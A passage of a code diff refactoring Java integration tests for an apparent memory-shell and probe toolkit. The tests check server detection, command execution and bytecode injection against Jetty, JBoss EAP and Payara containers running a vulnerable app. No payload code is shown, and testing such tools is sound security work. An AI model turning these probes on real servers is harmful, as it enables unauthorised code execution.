ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -55,20 +54,20 @@ public class JbossEap7ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.UNDERTOW, data);
|
||||
assertEquals(Server.Undertow, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty10ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V11);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V11);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -65,20 +59,20 @@ public class Jetty11ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V17);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V17);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V17);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
@@ -51,6 +51,6 @@ public class Jetty12ee10ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
@@ -51,6 +51,6 @@ public class Jetty12ee8ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-10
@@ -1,13 +1,10 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -17,11 +14,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -57,6 +51,6 @@ public class Jetty12ee9ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -65,20 +59,20 @@ public class Jetty61ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty75ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty76ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty81ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-10
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -21,9 +18,6 @@ import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -60,20 +54,20 @@ public class Jetty92ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty93ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty94ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.payara;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -61,20 +59,20 @@ public class Payara5201ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
